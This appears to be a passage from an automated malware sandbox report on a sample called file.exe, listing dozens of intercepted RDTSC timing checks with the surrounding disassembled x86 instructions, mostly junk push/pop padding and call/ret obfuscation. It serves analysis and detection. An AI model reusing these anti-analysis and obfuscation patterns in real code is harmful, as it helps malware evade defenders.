Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4982 second address: 6E49DB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F60A4E98EFEh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F60A4E98F04h 0x00000017 mov eax, dword ptr [eax] 0x00000019 push ebx 0x0000001a pushad 0x0000001b push edx 0x0000001c pop edx 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushad 0x00000029 popad 0x0000002a jmp 00007F60A4E98F06h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E49DB second address: 6E49E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4A79 second address: 6E4AA0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F60A4E98EFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F60A4E98F04h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4AA0 second address: 6E4AF9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D2FCFh], eax 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F60A4BE8BD8h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b jmp 00007F60A4BE8BE5h 0x00000030 push 940471D2h 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jnc 00007F60A4BE8BD6h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4AF9 second address: 6E4B08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98EFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4B08 second address: 6E4B7E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F60A4BE8BE1h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 6BFB8EAEh 0x00000012 jmp 00007F60A4BE8BE5h 0x00000017 push 00000003h 0x00000019 mov dword ptr [ebp+122D37E9h], eax 0x0000001f push 00000000h 0x00000021 mov dword ptr [ebp+122D3BBDh], ecx 0x00000027 push 00000003h 0x00000029 call 00007F60A4BE8BD9h 0x0000002e jnp 00007F60A4BE8BE0h 0x00000034 push eax 0x00000035 push eax 0x00000036 jmp 00007F60A4BE8BDCh 0x0000003b pop eax 0x0000003c mov eax, dword ptr [esp+04h] 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4B7E second address: 6E4B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4C5E second address: 6D4C76 instructions: 0x00000000 rdtsc 0x00000002 js 00007F60A4BE8BD8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jp 00007F60A4BE8BE2h 0x00000010 jnc 00007F60A4BE8BD6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 703BA4 second address: 703BA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 703E91 second address: 703E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 703E99 second address: 703E9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 703E9D second address: 703EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4C5A second address: 6D4C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704016 second address: 70401A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70401A second address: 704020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704020 second address: 704026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704190 second address: 704198 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704198 second address: 70419C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7046F9 second address: 704703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F60A4E98EF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704703 second address: 704712 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704712 second address: 70471C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F60A4E98EF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7049B2 second address: 7049B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7049B6 second address: 7049EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60A4E98F04h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F60A4E98F09h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704CDD second address: 704CE7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F60A4BE8BD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704CE7 second address: 704CF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704CF1 second address: 704CF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704CF5 second address: 704D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jp 00007F60A4E98EF6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC986 second address: 6FC98B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D82EC second address: 6D82FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60A4E98EFAh 0x00000009 pop edx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D82FE second address: 6D830C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F60A4BE8BD6h 0x0000000a pop edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D830C second address: 6D8312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8312 second address: 6D8338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F60A4BE8BDEh 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 jnp 00007F60A4BE8BD6h 0x00000016 pop eax 0x00000017 push esi 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a pushad 0x0000001b popad 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704E22 second address: 704E28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704E28 second address: 704E38 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 je 00007F60A4BE8BD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7053E0 second address: 7053E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7053E6 second address: 7053EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A6FE second address: 70A704 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D29C second address: 70D2A6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F60A4BE8BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D8A7 second address: 70D8B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F60A4E98EF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D8B1 second address: 70D8B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D9C5 second address: 70D9D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 pushad 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D9D7 second address: 70D9F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c jc 00007F60A4BE8BF3h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D9F2 second address: 70D9F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71026C second address: 710270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710270 second address: 710280 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F60A4E98EF6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710280 second address: 71029E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F60A4BE8BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F60A4BE8BDAh 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71029E second address: 7102A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71338B second address: 71338F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71338F second address: 713398 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 713670 second address: 713674 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 713674 second address: 713692 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F60A4E98F06h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7137E7 second address: 7137F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F60A4BE8BD6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7137F4 second address: 713818 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60A4E98EFCh 0x00000009 jmp 00007F60A4E98F04h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715C0A second address: 715C29 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push edx 0x0000000b pushad 0x0000000c ja 00007F60A4BE8BD6h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715C29 second address: 715C2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7167C3 second address: 7167C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716C0A second address: 716C0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716D21 second address: 716D3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a sub dword ptr [ebp+124442E7h], ecx 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jno 00007F60A4BE8BD6h 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7172E5 second address: 7172EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7172EE second address: 717370 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F60A4BE8BD8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 push edi 0x00000028 mov dword ptr [ebp+122D37C5h], edx 0x0000002e pop edi 0x0000002f push 00000000h 0x00000031 mov si, B61Ch 0x00000035 pushad 0x00000036 add ebx, dword ptr [ebp+122D2E12h] 0x0000003c mov si, 7E3Dh 0x00000040 popad 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push ecx 0x00000046 call 00007F60A4BE8BD8h 0x0000004b pop ecx 0x0000004c mov dword ptr [esp+04h], ecx 0x00000050 add dword ptr [esp+04h], 0000001Ch 0x00000058 inc ecx 0x00000059 push ecx 0x0000005a ret 0x0000005b pop ecx 0x0000005c ret 0x0000005d sbb esi, 1A7B6F7Ch 0x00000063 push eax 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7199E4 second address: 7199EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A33C second address: 71A3DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F60A4BE8BD8h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 jmp 00007F60A4BE8BE8h 0x00000028 pushad 0x00000029 jmp 00007F60A4BE8BE5h 0x0000002e cmc 0x0000002f popad 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ecx 0x00000035 call 00007F60A4BE8BD8h 0x0000003a pop ecx 0x0000003b mov dword ptr [esp+04h], ecx 0x0000003f add dword ptr [esp+04h], 0000001Bh 0x00000047 inc ecx 0x00000048 push ecx 0x00000049 ret 0x0000004a pop ecx 0x0000004b ret 0x0000004c sub esi, dword ptr [ebp+1244987Eh] 0x00000052 push 00000000h 0x00000054 mov edi, 188BE292h 0x00000059 xchg eax, ebx 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F60A4BE8BDCh 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A3DC second address: 71A3E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A3E2 second address: 71A3E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A3E8 second address: 71A3EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71AEFB second address: 71AF05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71ABF0 second address: 71ABF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B712 second address: 71B716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B716 second address: 71B73C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F60A4E98EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F60A4E98F07h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71FB86 second address: 71FBAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d ja 00007F60A4BE8BD6h 0x00000013 je 00007F60A4BE8BD6h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72230E second address: 722314 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7232A6 second address: 7232C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F60A4BE8BE3h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72428A second address: 72428E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71ED8A second address: 71EE28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F60A4BE8BE7h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push ecx 0x0000000f jmp 00007F60A4BE8BE8h 0x00000014 pop edi 0x00000015 mov ebx, dword ptr [ebp+122D2D66h] 0x0000001b push dword ptr fs:[00000000h] 0x00000022 jnl 00007F60A4BE8BD9h 0x00000028 mov dword ptr fs:[00000000h], esp 0x0000002f push 00000000h 0x00000031 push ebp 0x00000032 call 00007F60A4BE8BD8h 0x00000037 pop ebp 0x00000038 mov dword ptr [esp+04h], ebp 0x0000003c add dword ptr [esp+04h], 0000001Ch 0x00000044 inc ebp 0x00000045 push ebp 0x00000046 ret 0x00000047 pop ebp 0x00000048 ret 0x00000049 push eax 0x0000004a mov ebx, dword ptr [ebp+122D31ACh] 0x00000050 pop edi 0x00000051 mov eax, dword ptr [ebp+122D0935h] 0x00000057 push FFFFFFFFh 0x00000059 jmp 00007F60A4BE8BDDh 0x0000005e nop 0x0000005f push ecx 0x00000060 push eax 0x00000061 push edx 0x00000062 push ecx 0x00000063 pop ecx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72428E second address: 7242F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F60A4E98EF8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 add bx, 148Eh 0x0000002c push 00000000h 0x0000002e mov edi, ecx 0x00000030 push 00000000h 0x00000032 pushad 0x00000033 mov dword ptr [ebp+122D31A7h], ebx 0x00000039 adc dx, 72FAh 0x0000003e popad 0x0000003f xor dword ptr [ebp+1244FE43h], eax 0x00000045 xchg eax, esi 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 jno 00007F60A4E98EF6h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723470 second address: 723474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71EE28 second address: 71EE2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7242F4 second address: 724302 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F60A4BE8BD6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723474 second address: 72347A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72347A second address: 723480 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723480 second address: 723484 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723484 second address: 7234A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c jmp 00007F60A4BE8BE7h 0x00000011 pop ebx 0x00000012 rdtsc
